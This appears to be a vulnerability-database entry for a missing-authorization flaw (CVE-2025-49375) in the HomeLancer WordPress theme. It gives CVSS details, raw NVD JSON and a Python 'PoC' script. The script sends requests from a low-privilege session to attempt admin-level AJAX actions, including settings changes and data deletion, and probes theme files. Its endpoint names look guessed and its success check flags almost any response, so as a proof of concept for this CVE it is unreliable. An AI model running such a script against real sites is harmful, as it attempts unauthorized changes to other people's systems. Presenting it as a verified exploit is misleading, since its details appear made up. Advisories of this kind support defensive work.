Security Vulnerability Report
中文
CVE-2025-49375 CVSS 5.4 MEDIUM

CVE-2025-49375

Published: 2026-01-22 17:15:56
Last Modified: 2026-04-27 20:16:14

Description

Missing Authorization vulnerability in cozythemes HomeLancer homelancer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects HomeLancer: from n/a through <= 1.0.1.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

HomeLancer Theme <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49375 PoC - HomeLancer Theme Broken Access Control # This PoC demonstrates the authorization bypass vulnerability import requests import json TARGET_URL = "http://target-wordpress-site.com" def exploit_homelancer_auth_bypass(): """ Exploit for Missing Authorization in HomeLancer Theme <= 1.0.1 The theme fails to properly validate user permissions for certain endpoints """ # Low-privilege user session (e.g., subscriber role) session = requests.Session() # Step 1: Attempt to access admin-level functionality without proper authorization # Replace 'wp-admin/admin-ajax.php' or theme-specific endpoints # Example 1: Direct access to theme settings (requires admin privileges) admin_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Common vulnerable theme actions vulnerable_actions = [ "homelancer_save_settings", "homelancer_update_config", "homelancer_modify_options", "homelancer_delete_data", "homelancer_export_data" ] print("[*] Testing HomeLancer authorization bypass...") for action in vulnerable_actions: payload = { "action": action, "_wpnonce": "", # May be missing or bypassable "data": "malicious_input" } # Send request with low-privilege session response = session.post(admin_endpoint, data=payload) if response.status_code == 200: try: result = response.json() if result.get("success") or "data" in result: print(f"[!] Vulnerable endpoint found: {action}") print(f"[+] Response: {json.dumps(result, indent=2)}") except: if "success" in response.text or len(response.text) > 0: print(f"[!] Potentially vulnerable: {action}") print(f"[+] Response: {response.text[:200]}") # Example 2: Direct theme file access if misconfigured theme_files = [ f"{TARGET_URL}/wp-content/themes/homelancer/includes/admin-ajax.php", f"{TARGET_URL}/wp-content/themes/homelancer/admin-functions.php" ] for file_url in theme_files: response = session.get(file_url) if response.status_code == 200 and "<?php" in response.text: print(f"[!] Exposed theme file: {file_url}") return True if __name__ == "__main__": exploit_homelancer_auth_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49375", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:56.403", "lastModified": "2026-04-27T20:16:14.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in cozythemes HomeLancer homelancer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects HomeLancer: from n/a through <= 1.0.1."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en cozythemes HomeLancer homelancer permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a HomeLancer: desde n/a hasta &lt;= 1.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/homelancer/vulnerability/wordpress-homelancer-theme-1-0-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}